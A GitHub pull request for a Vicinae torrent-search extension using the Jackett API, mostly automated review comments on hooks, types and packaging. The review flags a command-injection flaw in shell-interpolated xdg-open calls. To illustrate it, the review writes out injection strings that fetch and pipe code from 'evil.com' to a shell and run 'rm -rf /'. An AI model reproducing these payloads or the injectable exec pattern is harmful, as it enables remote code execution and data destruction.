feat(jackett-search): add torrent search extension with Jackett API i…#115
feat(jackett-search): add torrent search extension with Jackett API i…#115Tinkerbells wants to merge 1 commit intovicinaehq:mainfrom
Conversation
…ntegration - Add detailed torrent view with navigation to separate window - Implement advanced filtering and sorting (seeders, peers, size, date) - Add tracker selection from preferences - Extract business logic into custom hooks (useJackettSearch, useDebounce) - Add memoization for performance optimization - Generate markdown content in utils - Remove unused utils.ts file - Add comprehensive README with Docker Compose quick start
📝 WalkthroughWalkthroughIntroduces the Jackett Search extension with configuration, TypeScript types, utility functions for API communication, React hooks for state management and search logic, and UI components for querying and displaying torrent metadata from Jackett servers. Changes
Sequence DiagramsequenceDiagram
participant User
participant JackettSearch as Search Component
participant useDebounce as Debounce Hook
participant useJackettSearch as Search Hook
participant API as Jackett API
participant UI as Result Display
User->>JackettSearch: Type search query
JackettSearch->>useDebounce: Set query value
Note over useDebounce: Wait 500ms for user<br/>to stop typing
useDebounce->>useJackettSearch: Trigger performSearch<br/>(debounced query)
rect rgb(220, 240, 255)
Note over useJackettSearch: Validate config &<br/>prepare search
useJackettSearch->>API: Fetch torrents<br/>(query, trackers, seeders)
API-->>useJackettSearch: JackettResponse
end
rect rgb(240, 220, 255)
Note over useJackettSearch: Process results
useJackettSearch->>useJackettSearch: Filter by min seeders
useJackettSearch->>useJackettSearch: Sort by selected<br/>criteria (seeders/peers/size/date)
useJackettSearch->>useJackettSearch: Update state<br/>(torrents, loading, error)
end
useJackettSearch->>JackettSearch: Return processed<br/>torrents + state
JackettSearch->>UI: Render torrent list<br/>with metadata & actions
User->>UI: Click torrent action<br/>(details/magnet/download)
UI->>useJackettSearch: Handle action<br/>(show detail/open magnet)
useJackettSearch-->>User: Navigate or<br/>system action
Estimated code review effort🎯 4 (Complex) | ⏱️ ~50 minutes Poem
Pre-merge checks and finishing touches❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✨ Finishing touches
Comment |
There was a problem hiding this comment.
Actionable comments posted: 11
🤖 Fix all issues with AI Agents
In @extensions/jackett-search/package.json:
- Line 14: The package.json currently references the icon as
"extension_icon.png" in the "icon" property; update the "icon" value to
"assets/extension_icon.png" so the file path matches the actual location (change
the "icon" field in package.json accordingly).
- Around line 72-78: Add the missing TypeScript React types by adding
"@types/react" to the package.json devDependencies (so TypeScript can typecheck
React usage in search.tsx and torrent-detail.tsx); add an appropriate version
(e.g. matching your React major, such as "^18.0.0") under "devDependencies"
alongside "@types/node" and "typescript" and then run npm/yarn install to update
lockfile.
In @extensions/jackett-search/README.md:
- Around line 21-29: README documents preferences ("Sort By", "Minimum Seeders",
"Categories") that are not present in the extension manifest; update the
manifest (package.json preferences array) to include these missing preferences
with matching keys and default values or, alternatively, edit README.md to
clearly mark those three options as planned/future features and only list the
actual manifest preferences ("Jackett URL", "API Key", "Trackers", "Default
Action"); ensure preference names and default values in README exactly match the
names/values in package.json if you choose to add them.
In @extensions/jackett-search/src/hooks/useJackettSearch.ts:
- Line 92: The effect/callback that calls formatTrackers(trackers) is missing
the trackers variable in its dependency array, causing stale tracker prefs to be
used; update the dependency array for the hook (the array currently containing
jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders) to also
include trackers so formatTrackers(trackers) and any logic inside
useJackettSearch (or the specific useEffect/useCallback that references
formatTrackers) re-run when trackers changes.
- Around line 94-107: openMagnetLink currently builds a shell string with
execAsync and inserts the untrusted magnetUri directly, allowing command
injection; change the implementation to call a non-shell variant (e.g.,
spawn/execFile or a library that accepts argument arrays) so the program is
launched with the magnet URI as a single argument rather than interpolated into
a shell command, and remove use of execAsync for this path; specifically update
the openMagnetLink function to invoke xdg-open (or the platform-appropriate
opener) using child_process.spawn/execFile with ["xdg-open", magnetUri] style
arguments (or an equivalent safe opener API), validate that magnetUri starts
with the expected "magnet:" scheme before calling, and adjust error handling to
surface errors from the safe call instead of relying on a shell command string.
In @extensions/jackett-search/src/search.tsx:
- Around line 125-129: The Action button labeled "Open Magnet" is misleading
because it calls handleDefaultAction(torrent) which respects the user preference
'default-action' and may download a .torrent; either change the Action title to
indicate it's the default action (e.g., "Default Action" or "Open (default)") or
replace the onAction call to explicitly call openMagnetLink(torrent) if
magnet-only behavior is intended; update the Action with Icon.ArrowUpCircle and
ensure any tooltip/aria-labels match the new behavior so UI and
handleDefaultAction/openMagnetLink remain consistent.
- Around line 32-36: The effect in search.tsx is re-triggering API calls because
performSearch (from useJackettSearch) captures currentSortBy so its identity
changes when sort changes; to fix, make performSearch stable by removing
currentSortBy from its closure/deps (adjust useJackettSearch.ts to fetch raw
results without sorting) and implement client-side sorting separately (either
sort the results inside the hook via a separate sortResults method or perform
sorting in the component after debouncedQuery triggers performSearch), then
update the useEffect in search.tsx to only depend on debouncedQuery and the
stable performSearch so changing currentSortBy only re-sorts existing results
without re-fetching.
In @extensions/jackett-search/src/torrent-detail.tsx:
- Around line 27-32: The current code uses child_process.execAsync with a shell
command `xdg-open "${torrent.MagnetUri}"`, which is vulnerable to command
injection and Linux-only; replace this by calling a non-shell API (e.g., the
cross-platform `open` npm package) or a platform-specific non-shell launcher so
the magnet URI is passed as an argument rather than interpolated into a shell
command, and remove the child_process/execAsync usage; additionally, stop
duplicating logic by accepting or calling the existing openMagnetLink function
from useJackettSearch (pass it as a prop or import the hook) instead of
reimplementing it here, and add validation to ensure torrent.MagnetUri is a
valid magnet: URI before invoking the opener.
In @extensions/jackett-search/src/types/preferences.ts:
- Around line 1-9: There are two conflicting PreferenceValues interfaces; remove
the duplicate definition in extensions/jackett-search/src/types/torrent.ts (the
one with fewer fields) and ensure all usages/imports of PreferenceValues
reference the single canonical interface exported from types/preferences.ts; if
any module currently imports from torrent.ts, update those imports to point to
types/preferences.ts (or re-export PreferenceValues from torrent.ts after
deletion) so consumers consistently get the complete type including 'sort-by'
and 'default-action'.
In @extensions/jackett-search/src/types/torrent.ts:
- Around line 32-38: Remove the duplicate PreferenceValues interface declaration
from this file (the exported interface named PreferenceValues) and update any
local imports that referenced it to import the canonical type from the existing
preferences.ts (e.g., import { PreferenceValues } from './preferences' or
'./types/preferences' as appropriate); ensure the canonical type includes
'sort-by' and 'default-action' so consumers get correct typings and run the
project type-check after changing imports.
🧹 Nitpick comments (5)
extensions/jackett-search/README.md (1)
37-52: Consider adding customization notes for the Docker Compose configuration.While the configuration provides a good quick start, users may need to customize:
- PUID/PGID (line 43-44) to match their user/group IDs
- TZ (line 45) for their timezone
- Using a pinned version tag instead of
:latestfor reproducibilityThese could be mentioned in the Steps section or as a note.
extensions/jackett-search/tsconfig.json (1)
3-6: Update JSX transform to match project conventions.The
jsx: "react"setting uses the classic JSX transform, but virtually all other extensions in this repository usejsx: "react-jsx"(the automatic runtime). Since the extension explicitly imports React in both JSX files, switching to"react-jsx"would be consistent with the broader codebase and eliminate the unnecessary React imports.No changes needed for the
module: "commonjs"ortarget: "ES2022"settings—these align with project standards.extensions/jackett-search/src/utils/jackett.ts (3)
26-38: Consider adding a timeout to the fetch request.If the Jackett server is slow or unresponsive,
fetchwill hang indefinitely, leaving the UI in a loading state. Consider usingAbortControllerwith a timeout.🔎 Suggested implementation
+ const controller = new AbortController(); + const timeoutId = setTimeout(() => controller.abort(), 30000); + try { - const response = await fetch(apiUrl); + const response = await fetch(apiUrl, { signal: controller.signal }); + clearTimeout(timeoutId); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); }
41-49: Edge case: negative bytes will produce unexpected output.
Math.log(negative)returnsNaN, causingsizes[NaN]to beundefined. While the Jackett API shouldn't return negative sizes, defensive handling would prevent potential UI glitches.🔎 Suggested fix
export function formatBytes(bytes: number): string { - if (bytes === 0) return '0 B'; + if (bytes <= 0) return '0 B';
51-58:formatDatedoesn't catch invalid date strings.
new Date("invalid")doesn't throw; it returns an Invalid Date object.toLocaleDateString()then returns"Invalid Date"string. The catch block won't trigger.🔎 Suggested fix
export function formatDate(dateString: string): string { - try { - const date = new Date(dateString); - return date.toLocaleDateString(); - } catch { - return dateString; - } + const date = new Date(dateString); + return isNaN(date.getTime()) ? dateString : date.toLocaleDateString(); }
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
⛔ Files ignored due to path filters (2)
extensions/jackett-search/assets/extension_icon.pngis excluded by!**/*.pngextensions/jackett-search/package-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (11)
extensions/jackett-search/.gitignoreextensions/jackett-search/README.mdextensions/jackett-search/package.jsonextensions/jackett-search/src/hooks/useDebounce.tsextensions/jackett-search/src/hooks/useJackettSearch.tsextensions/jackett-search/src/search.tsxextensions/jackett-search/src/torrent-detail.tsxextensions/jackett-search/src/types/preferences.tsextensions/jackett-search/src/types/torrent.tsextensions/jackett-search/src/utils/jackett.tsextensions/jackett-search/tsconfig.json
🧰 Additional context used
🧬 Code graph analysis (6)
extensions/jackett-search/src/types/preferences.ts (1)
extensions/jackett-search/src/types/torrent.ts (1)
PreferenceValues(32-38)
extensions/jackett-search/src/torrent-detail.tsx (2)
extensions/jackett-search/src/types/torrent.ts (1)
JackettTorrent(1-26)extensions/jackett-search/src/utils/jackett.ts (3)
generateTorrentMarkdown(85-101)formatBytes(41-49)formatDate(51-58)
extensions/jackett-search/src/types/torrent.ts (1)
extensions/jackett-search/src/types/preferences.ts (1)
PreferenceValues(1-9)
extensions/jackett-search/src/hooks/useJackettSearch.ts (3)
extensions/jackett-search/src/types/preferences.ts (1)
PreferenceValues(1-9)extensions/jackett-search/src/types/torrent.ts (2)
PreferenceValues(32-38)JackettTorrent(1-26)extensions/jackett-search/src/utils/jackett.ts (4)
searchTorrents(3-39)formatTrackers(60-62)filterTorrents(81-83)sortTorrents(64-79)
extensions/jackett-search/src/search.tsx (5)
extensions/jackett-search/src/types/preferences.ts (1)
PreferenceValues(1-9)extensions/jackett-search/src/types/torrent.ts (1)
PreferenceValues(32-38)extensions/jackett-search/src/hooks/useJackettSearch.ts (1)
useJackettSearch(16-160)extensions/jackett-search/src/hooks/useDebounce.ts (1)
useDebounce(3-17)extensions/jackett-search/src/utils/jackett.ts (1)
formatBytes(41-49)
extensions/jackett-search/src/utils/jackett.ts (1)
extensions/jackett-search/src/types/torrent.ts (3)
SearchParams(40-46)JackettTorrent(1-26)JackettResponse(28-30)
🔇 Additional comments (15)
extensions/jackett-search/.gitignore (1)
1-4: LGTM!The .gitignore patterns are appropriate for this TypeScript extension, covering dependencies, build artifacts, logs, and OS-specific files.
extensions/jackett-search/tsconfig.json (1)
7-14: LGTM!The strict type-checking and module resolution settings are well-configured. The output directory aligns with the .gitignore patterns.
extensions/jackett-search/README.md (3)
64-82: LGTM!The usage instructions are comprehensive, well-structured, and include helpful keyboard shortcuts. The documented workflow aligns with the extension's features.
84-93: LGTM!The development instructions are clear and align with the scripts defined in package.json.
95-101: LGTM!The troubleshooting section covers common issues users might encounter with helpful, actionable solutions.
extensions/jackett-search/package.json (3)
16-23: LGTM!The command definition is well-structured and aligns with the README documentation.
24-66: LGTM with a note on documented features.The preference definitions are well-structured with appropriate types, validation, and defaults. Note that the README documents additional preferences (Sort By, Minimum Seeders, Categories) that are not present here - this discrepancy was flagged in the README review.
67-71: LGTM!The scripts are appropriately configured using the Vicinae CLI tooling.
extensions/jackett-search/src/hooks/useDebounce.ts (1)
1-17: LGTM!The debounce hook implementation is correct and follows React best practices:
- Properly manages state and effects
- Includes cleanup to prevent memory leaks
- Uses correct dependency array
- Generic type provides flexibility
extensions/jackett-search/src/torrent-detail.tsx (1)
45-147: Well-structured detail view with proper conditional rendering.The component correctly handles optional fields (
MagnetUri,Link,Details) and provides appropriate fallbacks. TheuseMemofor markdown generation is appropriate.extensions/jackett-search/src/search.tsx (1)
88-164: List rendering and empty states are well-implemented.Good use of composite keys, accessories for metadata display, and comprehensive empty/error state handling.
extensions/jackett-search/src/types/torrent.ts (1)
1-30: Type definitions for Jackett API responses look correct.
JackettTorrent,JackettResponse, andSearchParamsinterfaces appropriately model the Jackett API schema with optional fields forLinkandMagnetUri.Also applies to: 40-46
extensions/jackett-search/src/hooks/useJackettSearch.ts (1)
16-27: Hook setup and state management look good.Proper use of
useStatefor state, destructuring preferences, and parsingminSeederswith a fallback.extensions/jackett-search/src/utils/jackett.ts (2)
64-83: Sorting and filtering utilities are correctly implemented.
sortTorrentsproperly clones the array before sorting to avoid mutating the input, and handles all specified sort options.filterTorrentsis straightforward and correct.
85-101: Markdown generation is clean and handles optional fields well.Properly checks for existence and non-empty arrays before adding sections.
| "author": "tinkerbells", | ||
| "contributors": [], | ||
| "pastContributors": [], | ||
| "icon": "extension_icon.png", |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Find the icon file and check paths
echo "=== Searching for icon files in jackett-search extension ==="
find extensions/jackett-search/ -type f -name '*icon*' 2>/dev/null
echo -e "\n=== Checking package.json icon reference ==="
grep -n "icon" extensions/jackett-search/package.json
echo -e "\n=== Checking README for icon path references ==="
if [ -f "extensions/jackett-search/README.md" ]; then
grep -n "icon\|assets" extensions/jackett-search/README.md
fi
echo -e "\n=== Listing all files in extension directory ==="
ls -la extensions/jackett-search/Repository: vicinaehq/extensions
Length of output: 989
Update the icon path in package.json.
The icon file is located at assets/extension_icon.png, but package.json references it as extension_icon.png. Change line 14 to:
"icon": "assets/extension_icon.png",
🤖 Prompt for AI Agents
In @extensions/jackett-search/package.json at line 14, The package.json
currently references the icon as "extension_icon.png" in the "icon" property;
update the "icon" value to "assets/extension_icon.png" so the file path matches
the actual location (change the "icon" field in package.json accordingly).
| "dependencies": { | ||
| "@vicinae/api": "^0.16.0" | ||
| }, | ||
| "devDependencies": { | ||
| "@types/node": "^22.0.0", | ||
| "typescript": "^5.9.2" | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Check if other extensions include @types/react in devDependencies
echo "=== Extensions using @types/react ==="
fd -t f '^package\.json$' extensions/ -x jq -r 'select(.devDependencies["@types/react"]) | .name' {} \;
echo ""
echo "=== React imports in jackett-search ==="
# Check for React imports in this extension
rg -t typescript -t typescriptreact "import.*from ['\"]react['\"]" extensions/jackett-search/src/ 2>/dev/null || echo "No React imports found"
echo ""
echo "=== JSX/TSX files in jackett-search ==="
# List JSX/TSX files to understand the structure
fd -e jsx -e tsx . extensions/jackett-search/src/ 2>/dev/null || echo "No JSX/TSX files found"Repository: vicinaehq/extensions
Length of output: 386
🏁 Script executed:
#!/bin/bash
# Check the actual TSX files for React imports and JSX usage
echo "=== search.tsx content ==="
cat -n extensions/jackett-search/src/search.tsx
echo ""
echo "=== torrent-detail.tsx content ==="
cat -n extensions/jackett-search/src/torrent-detail.tsx
echo ""
echo "=== tsconfig.json jsx setting ==="
jq '.compilerOptions.jsx' extensions/jackett-search/tsconfig.jsonRepository: vicinaehq/extensions
Length of output: 11665
Add missing @types/react to devDependencies.
The code imports and uses React directly in both search.tsx (line 1) and torrent-detail.tsx (line 1), using React hooks and JSX syntax with jsx: "react" in tsconfig. However, @types/react is not declared in devDependencies, while other extensions in the repository include it as standard practice. This will cause TypeScript type checking failures.
Add @types/react to devDependencies in package.json.
🤖 Prompt for AI Agents
In @extensions/jackett-search/package.json around lines 72 - 78, Add the missing
TypeScript React types by adding "@types/react" to the package.json
devDependencies (so TypeScript can typecheck React usage in search.tsx and
torrent-detail.tsx); add an appropriate version (e.g. matching your React major,
such as "^18.0.0") under "devDependencies" alongside "@types/node" and
"typescript" and then run npm/yarn install to update lockfile.
| ## Preferences | ||
|
|
||
| - **Jackett URL** – Full URL to your Jackett server (defaults to `http://127.0.0.1:9117`). | ||
| - **API Key** – Jackett API key for authentication. | ||
| - **Sort By** – Default sort order for search results: `Seeders`, `Peers`, `Size`, or `Date`. | ||
| - **Minimum Seeders** – Only show torrents with at least this many seeders (defaults to `0`). | ||
| - **Categories** – Filter by categories (comma-separated, e.g., `2000,3000` for Movies and Audio). | ||
| - **Trackers** – List of tracker names to search (comma-separated). Leave as "all" to search all configured trackers. | ||
| - **Default Action** – Action to perform when selecting a torrent: `Open Magnet Link` or `Download Torrent File`. |
There was a problem hiding this comment.
Document preferences match the manifest or note they are planned features.
The README documents preferences like "Sort By", "Minimum Seeders", and "Categories" that do not appear in package.json. Only "Jackett URL", "API Key", "Trackers", and "Default Action" are defined in the manifest.
Either add these missing preferences to package.json or clarify in the README if they are planned features.
#!/bin/bash
# Description: Compare documented preferences with manifest preferences
echo "=== Preferences in package.json ==="
cat extensions/jackett-search/package.json | jq -r '.preferences[].name'
echo ""
echo "=== Preferences documented in README ==="
grep -A1 "^\*\*.*\*\* –" extensions/jackett-search/README.md | grep -o "^\*\*[^*]*\*\*" | sed 's/\*\*//g'🤖 Prompt for AI Agents
In @extensions/jackett-search/README.md around lines 21 - 29, README documents
preferences ("Sort By", "Minimum Seeders", "Categories") that are not present in
the extension manifest; update the manifest (package.json preferences array) to
include these missing preferences with matching keys and default values or,
alternatively, edit README.md to clearly mark those three options as
planned/future features and only list the actual manifest preferences ("Jackett
URL", "API Key", "Trackers", "Default Action"); ensure preference names and
default values in README exactly match the names/values in package.json if you
choose to add them.
| } finally { | ||
| setIsLoading(false); | ||
| } | ||
| }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]); |
There was a problem hiding this comment.
Missing trackers in dependency array.
trackers (destructured on line 24) is used in formatTrackers(trackers) on line 62, but isn't listed in the dependency array. If the user changes the trackers preference, the callback will use the stale value.
🔎 Suggested fix
- }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]);
+ }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders, trackers]);📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders]); | |
| }, [jackettUrl, apiKey, preferences.categories, currentSortBy, minSeeders, trackers]); |
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/hooks/useJackettSearch.ts at line 92, The
effect/callback that calls formatTrackers(trackers) is missing the trackers
variable in its dependency array, causing stale tracker prefs to be used; update
the dependency array for the hook (the array currently containing jackettUrl,
apiKey, preferences.categories, currentSortBy, minSeeders) to also include
trackers so formatTrackers(trackers) and any logic inside useJackettSearch (or
the specific useEffect/useCallback that references formatTrackers) re-run when
trackers changes.
| const openMagnetLink = useCallback(async (magnetUri: string) => { | ||
| try { | ||
| await execAsync(`xdg-open "${magnetUri}"`); | ||
| showToast({ | ||
| title: 'Opening torrent...', | ||
| style: Toast.Style.Success, | ||
| }); | ||
| } catch (err) { | ||
| showToast({ | ||
| title: 'Failed to open magnet link', | ||
| style: Toast.Style.Failure, | ||
| }); | ||
| } | ||
| }, []); |
There was a problem hiding this comment.
Command injection vulnerability in openMagnetLink.
Line 96 passes magnetUri directly into a shell command string. An attacker-controlled magnet URI like "; curl evil.com/malware | sh; " could execute arbitrary commands.
🔎 Suggested fix using spawn with arguments array
+ import { spawn } from 'child_process';
+
const openMagnetLink = useCallback(async (magnetUri: string) => {
try {
- await execAsync(`xdg-open "${magnetUri}"`);
+ const openCmd = process.platform === 'darwin' ? 'open'
+ : process.platform === 'win32' ? 'start'
+ : 'xdg-open';
+ spawn(openCmd, [magnetUri], { detached: true, stdio: 'ignore' });
showToast({
title: 'Opening torrent...',
style: Toast.Style.Success,
});Committable suggestion skipped: line range outside the PR's diff.
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/hooks/useJackettSearch.ts around lines 94 -
107, openMagnetLink currently builds a shell string with execAsync and inserts
the untrusted magnetUri directly, allowing command injection; change the
implementation to call a non-shell variant (e.g., spawn/execFile or a library
that accepts argument arrays) so the program is launched with the magnet URI as
a single argument rather than interpolated into a shell command, and remove use
of execAsync for this path; specifically update the openMagnetLink function to
invoke xdg-open (or the platform-appropriate opener) using
child_process.spawn/execFile with ["xdg-open", magnetUri] style arguments (or an
equivalent safe opener API), validate that magnetUri starts with the expected
"magnet:" scheme before calling, and adjust error handling to surface errors
from the safe call instead of relying on a shell command string.
| useEffect(() => { | ||
| if (debouncedQuery.length >= 3) { | ||
| performSearch(debouncedQuery); | ||
| } | ||
| }, [debouncedQuery, performSearch]); |
There was a problem hiding this comment.
Changing sort order triggers unnecessary API re-fetch.
performSearch depends on currentSortBy (see useJackettSearch.ts line 92), so when the sort dropdown changes, performSearch's identity changes, triggering this useEffect and re-fetching from the API. Sorting should happen client-side on existing results without a network round-trip.
Consider either:
- Moving the sort logic outside
performSearchso its identity is stable - Or separating the effect that fetches from the one that sorts
🔎 Suggested fix in useJackettSearch.ts
Remove currentSortBy from performSearch dependencies and apply sorting separately:
const performSearch = useCallback(async (searchQuery: string) => {
// ... fetch logic ...
const filtered = filterTorrents(results, minSeeders);
- const sorted = sortTorrents(filtered, currentSortBy);
- setTorrents(sorted);
+ setTorrents(filtered); // Store unfiltered, sort in useMemo
}, [jackettUrl, apiKey, preferences.categories, minSeeders]);
+
+ const sortedTorrents = useMemo(() =>
+ sortTorrents(torrents, currentSortBy),
+ [torrents, currentSortBy]
+ );Committable suggestion skipped: line range outside the PR's diff.
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/search.tsx around lines 32 - 36, The effect in
search.tsx is re-triggering API calls because performSearch (from
useJackettSearch) captures currentSortBy so its identity changes when sort
changes; to fix, make performSearch stable by removing currentSortBy from its
closure/deps (adjust useJackettSearch.ts to fetch raw results without sorting)
and implement client-side sorting separately (either sort the results inside the
hook via a separate sortResults method or perform sorting in the component after
debouncedQuery triggers performSearch), then update the useEffect in search.tsx
to only depend on debouncedQuery and the stable performSearch so changing
currentSortBy only re-sorts existing results without re-fetching.
| <Action | ||
| title="Open Magnet" | ||
| icon={Icon.ArrowUpCircle} | ||
| onAction={() => handleDefaultAction(torrent)} | ||
| /> |
There was a problem hiding this comment.
Misleading action title: "Open Magnet" may open torrent file instead.
handleDefaultAction respects the default-action preference, which could be 'torrent'. The button labeled "Open Magnet" might actually download a .torrent file, confusing users.
Either rename the action to reflect it's the default action, or call openMagnetLink directly here.
🔎 Suggested fix
<Action
- title="Open Magnet"
+ title="Default Action"
icon={Icon.ArrowUpCircle}
onAction={() => handleDefaultAction(torrent)}
/>Or call openMagnetLink directly if magnet-specific behavior is intended.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| <Action | |
| title="Open Magnet" | |
| icon={Icon.ArrowUpCircle} | |
| onAction={() => handleDefaultAction(torrent)} | |
| /> | |
| <Action | |
| title="Default Action" | |
| icon={Icon.ArrowUpCircle} | |
| onAction={() => handleDefaultAction(torrent)} | |
| /> |
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/search.tsx around lines 125 - 129, The Action
button labeled "Open Magnet" is misleading because it calls
handleDefaultAction(torrent) which respects the user preference 'default-action'
and may download a .torrent; either change the Action title to indicate it's the
default action (e.g., "Default Action" or "Open (default)") or replace the
onAction call to explicitly call openMagnetLink(torrent) if magnet-only behavior
is intended; update the Action with Icon.ArrowUpCircle and ensure any
tooltip/aria-labels match the new behavior so UI and
handleDefaultAction/openMagnetLink remain consistent.
| try { | ||
| const { exec } = require('child_process'); | ||
| const { promisify } = require('util'); | ||
| const execAsync = promisify(exec); | ||
|
|
||
| await execAsync(`xdg-open "${torrent.MagnetUri}"`); |
There was a problem hiding this comment.
Command injection vulnerability and cross-platform issue.
-
Security: Interpolating
torrent.MagnetUridirectly into a shell command is vulnerable to command injection. A malicious magnet URI could contain shell metacharacters (e.g.,"; rm -rf /; "). -
Platform:
xdg-openis Linux-only. Use platform-appropriate commands or a library likeopen(npm package). -
Duplication: This logic duplicates
openMagnetLinkinuseJackettSearch.ts. Consider passing the hook's function as a prop instead.
🔎 Suggested safer approach
- await execAsync(`xdg-open "${torrent.MagnetUri}"`);
+ // Use spawn with arguments array to avoid shell injection
+ const { spawn } = require('child_process');
+ const openCommand = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
+ spawn(openCommand, [torrent.MagnetUri], { detached: true, stdio: 'ignore' });Committable suggestion skipped: line range outside the PR's diff.
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/torrent-detail.tsx around lines 27 - 32, The
current code uses child_process.execAsync with a shell command `xdg-open
"${torrent.MagnetUri}"`, which is vulnerable to command injection and
Linux-only; replace this by calling a non-shell API (e.g., the cross-platform
`open` npm package) or a platform-specific non-shell launcher so the magnet URI
is passed as an argument rather than interpolated into a shell command, and
remove the child_process/execAsync usage; additionally, stop duplicating logic
by accepting or calling the existing openMagnetLink function from
useJackettSearch (pass it as a prop or import the hook) instead of
reimplementing it here, and add validation to ensure torrent.MagnetUri is a
valid magnet: URI before invoking the opener.
| export interface PreferenceValues { | ||
| 'jackett-url': string; | ||
| 'api-key': string; | ||
| 'sort-by': 'seeders' | 'size' | 'date'; | ||
| 'min-seeders': string; | ||
| 'categories': string; | ||
| 'trackers': string; | ||
| 'default-action': 'magnet' | 'torrent'; | ||
| } |
There was a problem hiding this comment.
Duplicate PreferenceValues interface exists in torrent.ts.
There's another PreferenceValues interface in extensions/jackett-search/src/types/torrent.ts (lines 31-37) with fewer fields (missing sort-by and default-action). This creates ambiguity about which definition is canonical and may cause type mismatches depending on which import consumers use. Remove the duplicate from torrent.ts and keep only this complete version.
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/types/preferences.ts around lines 1 - 9, There
are two conflicting PreferenceValues interfaces; remove the duplicate definition
in extensions/jackett-search/src/types/torrent.ts (the one with fewer fields)
and ensure all usages/imports of PreferenceValues reference the single canonical
interface exported from types/preferences.ts; if any module currently imports
from torrent.ts, update those imports to point to types/preferences.ts (or
re-export PreferenceValues from torrent.ts after deletion) so consumers
consistently get the complete type including 'sort-by' and 'default-action'.
| export interface PreferenceValues { | ||
| 'jackett-url': string; | ||
| 'api-key': string; | ||
| 'min-seeders': string; | ||
| 'categories': string; | ||
| 'trackers': string; | ||
| } |
There was a problem hiding this comment.
Remove duplicate PreferenceValues interface.
This interface is an incomplete duplicate of the one in preferences.ts. It's missing 'sort-by' and 'default-action' fields. Consumers importing from this file will get incorrect types. Remove this definition and have consumers import from ./preferences.
🔎 Suggested fix
-export interface PreferenceValues {
- 'jackett-url': string;
- 'api-key': string;
- 'min-seeders': string;
- 'categories': string;
- 'trackers': string;
-}Ensure any imports of PreferenceValues reference ./types/preferences instead.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| export interface PreferenceValues { | |
| 'jackett-url': string; | |
| 'api-key': string; | |
| 'min-seeders': string; | |
| 'categories': string; | |
| 'trackers': string; | |
| } |
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/types/torrent.ts around lines 32 - 38, Remove
the duplicate PreferenceValues interface declaration from this file (the
exported interface named PreferenceValues) and update any local imports that
referenced it to import the canonical type from the existing preferences.ts
(e.g., import { PreferenceValues } from './preferences' or './types/preferences'
as appropriate); ensure the canonical type includes 'sort-by' and
'default-action' so consumers get correct typings and run the project type-check
after changing imports.
|
|
||
| const openMagnetLink = useCallback(async (magnetUri: string) => { | ||
| try { | ||
| await execAsync(`xdg-open "${magnetUri}"`); |
There was a problem hiding this comment.
You should use open from @vicinae/api to open something in the default app for it
aurelleb
left a comment
There was a problem hiding this comment.
@Tinkerbells great stuff but please change xdg-open for open unless there is a very good reason not to (in this case I can't see any)
Add new extension jackett-search that allows users to search torrents across multiple trackers directly from Vicinae using the Jackett API.
Features
Summary by CodeRabbit
Release Notes
New Features
Documentation
✏️ Tip: You can customize this high-level summary in your review settings.